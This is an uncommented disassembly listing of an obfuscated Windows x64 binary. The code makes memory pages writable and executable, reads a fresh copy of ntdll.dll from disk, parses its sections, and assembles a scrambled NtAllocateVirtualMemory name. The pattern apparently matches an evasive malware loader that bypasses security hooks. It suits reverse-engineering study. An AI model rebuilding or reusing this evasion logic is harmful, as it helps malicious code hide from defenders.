lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20f8]
mov qword [0x1401d0070], rax
mov rcx, qword [rbp + 0x20f8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20f0]
mov qword [0x1401d0078], rax
mov rcx, qword [rbp + 0x20f0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20e8]
mov qword [0x1401d0080], rax
mov rcx, qword [rbp + 0x20e8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20e0]
mov qword [0x1401d0088], rax
mov rcx, qword [rbp + 0x20e0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20d8]
mov qword [0x1401d0090], rax
mov rcx, qword [rbp + 0x20d8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20d0]
mov qword [0x1401d0098], rax
mov rcx, qword [rbp + 0x20d0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20c8]
mov qword [0x1401d00a0], rax
mov rcx, qword [rbp + 0x20c8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20c0]
mov qword [0x1401d00a8], rax
mov rcx, qword [rbp + 0x20c0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20b8]
mov qword [0x1401d00b0], rax
mov rcx, qword [rbp + 0x20b8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20b0]
mov qword [0x1401d00b8], rax
mov rcx, qword [rbp + 0x20b0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20a8]
mov qword [0x1401d00c0], rax
mov rcx, qword [rbp + 0x20a8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20a0]
mov qword [0x1401d00c8], rax
mov rcx, qword [rbp + 0x20a0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
sub rsp, 0x40
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov rcx, rax
mov rax, qword [rbp + 0x1e80]
mov qword [rax], rcx
mov rcx, qword [rax]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileSize]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x1e88]
mov dword [rax], ecx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1e88]
mov eax, dword [rax]
mov r8d, eax
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp + 0x1e80]
mov r9, qword [rbp + 0x1e90]
mov rdx, qword [rbp + 0x1e98]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0x1e88]
mov qword [rdx], r8
mov rcx, qword [rcx]
mov rdx, qword [rdx]
mov r8d, dword [rax]
xor eax, eax
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11, qword [rbp + 0x1e98]
mov r9, qword [rbp + 0x1eb0]
mov r10, qword [rbp + 0x1ea8]
mov r8, qword [rbp + 0x1ec0]
mov rdx, qword [rbp + 0x1eb8]
mov rcx, qword [rbp + 0x1ec8]
add rsp, 0x30
mov rax, qword [rbp + 0x1ed0]
mov rdi, qword [r11]
mov qword [rsi], rdi
mov r11, qword [r11]
mov rsi, qword [rsi]
movsxd rdi, dword [rsi + 0x3c]
xor esi, esi
sub rsi, r11
xor r11d, r11d
sub r11, rdi
add rsi, r11
xor r11d, r11d
sub r11, rsi
mov qword [r10], r11
mov r11, qword [r10]
mov r11d, dword [r11 + 0x88]
mov dword [r9], r11d
mov r9, qword [r10]
movabs r11, 0xc3fea355a540d15b
add r9, r11
add r9, 0x18
movabs r11, 0xc3fea355a540d15b
sub r9, r11
mov r10, qword [r10]
movzx r10d, word [r10 + 0x14]
movabs r11, 0xbb84d52cc1d9085a
add r9, r11
add r9, r10
movabs r10, 0xbb84d52cc1d9085a
sub r9, r10
mov qword [rdx], r9
mov r9, qword [rdx]
mov qword [r8], r9
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0x5b7de1fb
sub edx, 1
add edx, 0x5b7de1fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400072f2
jmp 0x14002e777
jmp 0x1400072f7
mov rax, qword [rbp + 0x1ea8]
mov rcx, qword [rbp + 0x1ed0]
mov ecx, dword [rcx]
mov dword [rbp + 0x13dc], ecx
mov rax, qword [rax]
add rax, 4
mov qword [rbp + 0x13e0], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xe0228dee
sub edx, 1
sub edx, 0xe0228dee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000735f
jmp 0x14002eec4
mov rax, qword [rbp + 0x13e0]
add rax, 2
mov qword [rbp + 0x13d0], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x8a231702
sub edx, 1
sub edx, 0x8a231702
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x1400073e8
jmp 0x14002eec4
jmp 0x1400073ed
mov eax, dword [rbp + 0x13dc]
mov rcx, qword [rbp + 0x13d0]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x14000778f
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xabfbe5a
sub edx, 1
sub edx, 0xabfbe5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007449
jmp 0x14002eec9
mov rax, qword [rbp + 0x1eb8]
mov rax, qword [rax]
mov qword [rbp + 0x13c8], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x9fcb1e0f
sub edx, 1
sub edx, 0x9fcb1e0f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000749e
jmp 0x14002eec9
jmp 0x1400074a3
mov rcx, qword [rbp + 0x13c8]
sub rsp, 0x20
lea rdx, str..rdata
call sub.msvcrt.dll_strcmp
add rsp, 0x20
cmp eax, 0
sete al
mov byte [rbp + 0x13c7], al
mov al, byte [rbp + 0x13c7]
test al, 1
jne 0x1400074dd
jmp 0x1400075ba
mov rax, qword [rbp + 0x1eb8]
mov rax, qword [rax]
mov qword [rbp + 0x13b8], rax
mov rax, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x13b8]
mov qword [rax], rcx
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x95557928
sub edx, 1
sub edx, 0x95557928
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007543
jmp 0x14002eece
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x1400075b5
jmp 0x14002eece
jmp 0x14000778f
mov rax, qword [rbp + 0x1eb8]
mov rax, qword [rax]
mov qword [rbp + 0x13b0], rax
mov rax, qword [rbp + 0x13b0]
add rax, 0x28
mov qword [rbp + 0x13a8], rax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xbf2b6e50
sub edx, 1
add edx, 0xbf2b6e50
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007621
jmp 0x14002eed3
mov rax, qword [rbp + 0x1eb8]
mov rcx, qword [rbp + 0x13a8]
mov qword [rax], rcx
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007671
jmp 0x14002eed3
jmp 0x140007676
mov rax, qword [rbp + 0x1ed0]
mov eax, dword [rax]
sub eax, 0x8ed4c922
add eax, 1
add eax, 0x8ed4c922
mov dword [rbp + 0x13a4], eax
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140007704
jmp 0x14002eee9
mov rax, qword [rbp + 0x1ed0]
mov ecx, dword [rbp + 0x13a4]
mov dword [rax], ecx
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140007785
jmp 0x14002eee9
jmp 0x14000778a
jmp 0x1400072f7
mov rax, qword [rbp + 0x1eb0]
mov rcx, qword [rbp + 0x1e98]
mov rcx, qword [rcx]
mov qword [rbp + 0x1398], rcx
mov eax, dword [rax]
mov dword [rbp + 0x13a0], eax
mov rax, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x1398]
mov edx, dword [rbp + 0x13a0]
mov edx, edx
movabs r8, 0xf17e549b699adc6e
sub rcx, r8
add rcx, rdx
movabs rdx, 0xf17e549b699adc6e
add rcx, rdx
mov rdx, qword [rax]
sub rsp, 0x20
call fcn.1400018f0
add rsp, 0x20
mov qword [rbp + 0x1390], rax
mov rcx, qword [rbp + 0x1f98]
mov rax, qword [rbp + 0x1ed8]
mov rdx, qword [rbp + 0x1390]
mov qword [rax], rdx
sub rsp, 0x20
call fcn.1400b60f0
mov rcx, qword [rbp + 0x1f90]
mov r8, qword [rbp + 0x1f98]
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.NtAlocaeViruMmy
call fcn.1400f6600
add rsp, 0x20
jmp 0x140007845
mov rdx, qword [rbp + 0x1f90]
mov rcx, qword [rbp + 0x1f88]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x14000786c
mov rdx, qword [rbp + 0x1f88]
mov rcx, qword [rbp + 0x1f80]
sub rsp, 0x20
lea r8, [0x1401a2ad8]
call fcn.140109980
add rsp, 0x20
jmp 0x140007893
mov rdx, qword [rbp + 0x1f80]
mov rcx, qword [rbp + 0x1f78]
sub rsp, 0x20
lea r8, [0x1401a2ada]
call fcn.140109980
add rsp, 0x20
jmp 0x1400078ba
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x1400078f9
jmp 0x14002eefd
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x14000796b
jmp 0x14002eefd
mov rdx, qword [rbp + 0x1f78]
mov rcx, qword [rbp + 0x1f70]
sub rsp, 0x20
lea r8, [0x1401a2ada]
call fcn.140109980
add rsp, 0x20
jmp 0x140007992
mov rdx, qword [rbp + 0x1f70]
mov rcx, qword [rbp + 0x1f68]
sub rsp, 0x20
lea r8, [0x1401a2adc]
call fcn.140109980
add rsp, 0x20
jmp 0x1400079b9
mov rdx, qword [rbp + 0x1f68]
mov rcx, qword [rbp + 0x1f60]
sub rsp, 0x20
lea r8, [0x1401a2ade]
call fcn.140109980
add rsp, 0x20
jmp 0x1400079e0
mov rdx, qword [rbp + 0x1f60]
mov rcx, qword [rbp + 0x1f58]
sub rsp, 0x20
lea r8, [0x1401a2ae0]
call fcn.140109980
add rsp, 0x20
jmp 0x140007a07
mov rdx, qword [rbp + 0x1f58]
mov rcx, qword [rbp + 0x1f50]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140007a2e
mov rdx, qword [rbp + 0x1f50]
mov rcx, qword [rbp + 0x1f48]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x140007a55
mov rdx, qword [rbp + 0x1f48]
mov rcx, qword [rbp + 0x1f40]
sub rsp, 0x20
lea r8, [0x1401a2ae4]
call fcn.140109980
add rsp, 0x20
jmp 0x140007a7c
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x1a9961ac
sub edx, 1
sub edx, 0x1a9961ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140007af3
jmp 0x14002ef02
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x8d714699
sub edx, 1
sub edx, 0x8d714699
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007b37
jmp 0x14002ef02
mov rdx, qword [rbp + 0x1f40]
mov rcx, qword [rbp + 0x1f38]
sub rsp, 0x20
lea r8, [0x1401a2ae6]
call fcn.140109980
add rsp, 0x20
jmp 0x140007b5e
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x7618ba64
sub edx, 1
sub edx, 0x7618ba64
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007ba2
jmp 0x14002ef07
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0xdd6b3d9a
sub edx, 1
sub edx, 0xdd6b3d9a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140007c19
jmp 0x14002ef07
mov rdx, qword [rbp + 0x1f38]
mov rcx, qword [rbp + 0x1f30]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x140007c40
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xee2c3ede
sub edx, 1
add edx, 0xee2c3ede
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007c84
jmp 0x14002ef0c
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
sub edx, 0xec67f80d
sub edx, 1
add edx, 0xec67f80d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007cc8
jmp 0x14002ef0c
mov rdx, qword [rbp + 0x1f30]
mov rcx, qword [rbp + 0x1f28]
sub rsp, 0x20
lea r8, [0x1401a2ad6]
call fcn.140109980
add rsp, 0x20
jmp 0x140007cef
mov rdx, qword [rbp + 0x1f28]
mov rcx, qword [rbp + 0x1f20]
sub rsp, 0x20
lea r8, [0x1401a2aea]
call fcn.140109980
add rsp, 0x20
jmp 0x140007d16
mov rdx, qword [rbp + 0x1f20]
mov rcx, qword [rbp + 0x1f18]
sub rsp, 0x20
lea r8, [0x1401a2ae0]
call fcn.140109980
add rsp, 0x20
jmp 0x140007d3d
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x140007d7c
jmp 0x14002ef11
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140007dee
jmp 0x14002ef11
mov rdx, qword [rbp + 0x1f18]
mov rcx, qword [rbp + 0x1f10]
sub rsp, 0x20
lea r8, [0x1401a2ada]
call fcn.140109980
add rsp, 0x20
jmp 0x140007e15
mov rdx, qword [rbp + 0x1f10]
mov rcx, qword [rbp + 0x1f08]
sub rsp, 0x20
lea r8, [0x1401a2aec]
call fcn.140109980
add rsp, 0x20
jmp 0x140007e3c
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140007eae
jmp 0x14002ef16
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x140007f20
jmp 0x14002ef16
mov rdx, qword [rbp + 0x1f08]
mov rcx, qword [rbp + 0x1f00]
sub rsp, 0x20
lea r8, [0x1401a2ae2]
call fcn.140109980
add rsp, 0x20
jmp 0x140007f47
mov rdx, qword [rbp + 0x1f00]
mov rcx, qword [rbp + 0x1ef8]
sub rsp, 0x20
lea r8, [0x1401a2aee]
call fcn.140109980
add rsp, 0x20
jmp 0x140007f6e
mov rdx, qword [rbp + 0x1ef8]
mov rcx, qword [rbp + 0x1ef0]
sub rsp, 0x20
lea r8, [0x1401a2adc]
call fcn.140109980
add rsp, 0x20
jmp 0x140007f95
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x140008007
jmp 0x14002ef1b
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
mov edx, ecx
add edx, 0x36f90bf4
sub edx, 1
sub edx, 0x36f90bf4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x14000804b
jmp 0x14002ef1b
mov rdx, qword [rbp + 0x1ef0]
mov rcx, qword [rbp + 0x1ee8]
sub rsp, 0x20
lea r8, [0x1401a2ae8]
call fcn.140109980
add rsp, 0x20
jmp 0x140008072
mov rdx, qword [rbp + 0x1ee8]
mov rcx, qword [rbp + 0x1ee0]
sub rsp, 0x20
lea r8, [0x1401a2af0]
call fcn.140109980
add rsp, 0x20
jmp 0x140008099
mov rcx, qword [rbp + 0x1ee8]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ef0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ef8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f00]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f08]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f10]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f18]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f20]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f28]
call fcn.1400f6b40
add rsp, 0x20
mov rcx, qword [rbp + 0x1f30]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f38]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f40]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f48]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f50]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f58]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f60]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f68]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f70]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f78]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f80]
call fcn.1400f6b40
add rsp, 0x20
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x14000820b
jmp 0x14002ef20
mov rcx, qword [rbp + 0x1f88]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f90]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f98]
call fcn.1400b6120
add rsp, 0x20
mov ecx, dword [0x1401d0fbc]
mov eax, dword [0x1401d0f90]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x1400082a9
jmp 0x14002ef20
mov rdx, qword [rbp + 0x1ee0]
mov rcx, qword [rbp + 0x1fb8]
sub rsp, 0x20
call fcn.1400f5c90
add rsp, 0x20
jmp 0x1400082c9
mov rax, qword [rbp + 0x1ed8]
mov rax, qword [rax]
mov qword [rbp + 0x1388], rax
mov rax, qword [rbp + 0x1ec8]
mov rcx, qword [rbp + 0x1ec0]
mov rdx, qword [rbp + 0x1e98]
mov rdx, qword [rdx]
mov qword [rbp + 0x1370], rdx
mov rcx, qword [rcx]
mov qword [rbp + 0x1378], rcx
mov rax, qword [rax]
mov qword [rbp + 0x1380], rax
mov r9, qword [rbp + 0x1378]
mov r8, qword [rbp + 0x1370]
mov rdx, qword [rbp + 0x1388]
mov rcx, qword [rbp + 0x1fb8]
mov r10, qword [rbp + 0x1380]
mov r11, qword [rbp + 0x2128]
sub rsp, 0x30
mov rax, rsp
mov qword [rax + 0x28], r11
mov qword [rax + 0x20], r10
call fcn.140001af0
add rsp, 0x30
mov dword [rbp + 0x136c], eax
jmp 0x14000835a
mov rcx, qword [rbp + 0x1fb8]
sub rsp, 0x20
call fcn.1400f6b40
add rsp, 0x20
mov rax, qword [rbp + 0x1fb0]
mov ecx, dword [rbp + 0x136c]
mov dword [rax], ecx
mov rcx, qword [rbp + 0x1ee0]
sub rsp, 0x20
